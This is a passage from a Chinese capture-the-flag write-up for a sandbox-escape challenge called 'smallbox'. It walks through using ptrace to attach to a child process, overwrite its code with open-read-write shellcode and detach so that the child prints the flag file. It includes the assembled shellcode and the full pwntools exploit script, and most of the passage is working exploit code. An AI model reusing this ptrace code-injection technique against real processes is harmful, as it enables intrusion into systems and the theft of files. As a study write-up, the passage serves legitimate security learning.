    • 关键点:虽然恢复了寄存器,但此时子进程的代码已被覆盖
  1. PTRACE_DETACH (17)

python

1
asm(shellcraft.ptrace(17, "r14", 0, 0))
  • 作用:分离调试器与目标进程
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0:发送给子进程的信号(0表示无信号)
  • 效果
    • 子进程恢复执行
    • 父进程不再控制子进程

阶段1: 附加和控制子进程

  1. PTRACE_ATTACH(16)

    • 父进程附加到子进程
    • 子进程暂停执行
  2. 延时循环

    1
    2
    3
    4
    mov rcx,0x500000000
    loop:
    sub rcx,1
    jnz loop
    • 目的:确保附加操作完成(替代waitpid)
    • 原理:给内核时间处理附加请求

阶段2: 准备内存操作

  1. PTRACE_GETREGS(12)

    • 保存子进程当前寄存器状态
    • 存储到共享内存的0x500偏移处
  2. 调整父进程栈指针

    asm

    1
    2
    3
    4
    mov rsp,0xDEADC0DE588
    mov rax, 0xDEADC0DE000
    push rax
    mov rsp,0xDEADC0DE800
    • 目的:避免后续操作破坏父进程栈
    • 将栈移到共享内存的安全区域

阶段3: 注入恶意代码

  1. 8次PTRACE_POKETEXT(5)调用

    • 向子进程内存写入64字节ORW shellcode

    • 覆盖子进程原来的循环代码:

      asm

      1
      2
      3
      4
      5
      6
      ; 原始代码 (被覆盖)
      while(1):
      jmp $ ; 机器码: EB FE

      ; 覆盖后代码
      movabs rax,0x101010101010101 ; 新指令

阶段4: 恢复执行

  1. PTRACE_SETREGS(13)
    • “恢复”子进程寄存器
    • 实际效果:RIP仍指向被覆盖的代码区域
  2. PTRACE_DETACH(17)
    • 分离父进程和子进程
    • 子进程从当前RIP开始执行(即ORW shellcode)

阶段5: 维持进程

  1. 父进程挂起

    asm

    1
    jmp $   ; 无限循环
    • 防止父进程退出导致程序终止
    • 保持子进程继续运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0xDEADC0DE000:
; 设置文件路径 "flag"
mov rax, 0x67616c662f2e ; "./flag"
push rax

; 系统调用序列
mov rdi, rsp ; 文件路径指针
xor esi, esi ; O_RDONLY (0)
xor eax, eax ; 清空RAX
mov al, 2 ; syscall号: open=2
syscall ; 调用open("flag")

; 读取文件内容
mov rdi, rax ; 文件描述符
mov rsi, rsp ; 缓冲区地址
mov rdx, 0x100 ; 读取长度
xor eax, eax ; syscall号: read=0
syscall ; 调用read()

; 输出到标准输出
mov rdi, 1 ; 文件描述符: stdout=1
mov rsi, rsp ; 缓冲区地址
mov rdx, rax ; 实际读取长度
mov al, 1 ; syscall号: write=1
syscall ; 调用write()

; 退出
mov al, 60 ; syscall号: exit=60
syscall

我就了解到这里了,还是太菜,多学吧wuuu~~~

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.arch='amd64'
p=process('./smallbox')
# p=remote('127.0.0.1',9999)
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_POKEDATA = 4

injected_shellcode=shellcraft.open("/flag.txt",0)+'''
mov rax,0
mov rdi,3
mov rsi,rsp
mov rdx,0x30
syscall

mov rax,1
mov rdi,1
mov rsi,rsp
mov rdx,0x30
syscall
'''

injected_shellcode=asm(injected_shellcode)

shellcode=f'''
push rdx
/* ptrace(request=0x10, vararg_0=pid, vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push {PTRACE_ATTACH}
pop rdi
xor edx, edx /* 0 */
mov esi, [rsp+0x14]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
/* ptrace(request=0xc, vararg_0=pid vararg_1=0x0, vararg_2=shellcode+0x800) */
pop r10
push r10
add r10,0x800
push {PTRACE_GETREGS}
pop rdi
xor edx,edx
mov esi, [rsp+0x14]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall

pop rdx
push rdx
add rdx,0x880
mov rdx,[rdx]
push rdx

mov rbx,0
loop:
/* ptrace(request=0xc, vararg_0=pid vararg_1=rip+i, vararg_2=[shellcode+i+0x200]) */
push {PTRACE_POKETEXT}
pop rdi
pop rdx
pop r10
push r10
push rdx
add rdx,rbx
mov r10,[r10+rbx+0x200]
mov esi, [rsp+0x1C]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
add rbx,8
cmp rbx,0x100
jle loop

/* ptrace(request=0x10, vararg_0=pid, vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push {PTRACE_DETACH}
pop rdi
xor edx, edx /* 0 */
mov esi, [rsp+0x1C]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
'''
shellcode=asm(shellcode).ljust(0x200,b'\x00')+injected_shellcode
#gdb.attach(p)
p.sendafter('shellcode:',shellcode)
p.interactive()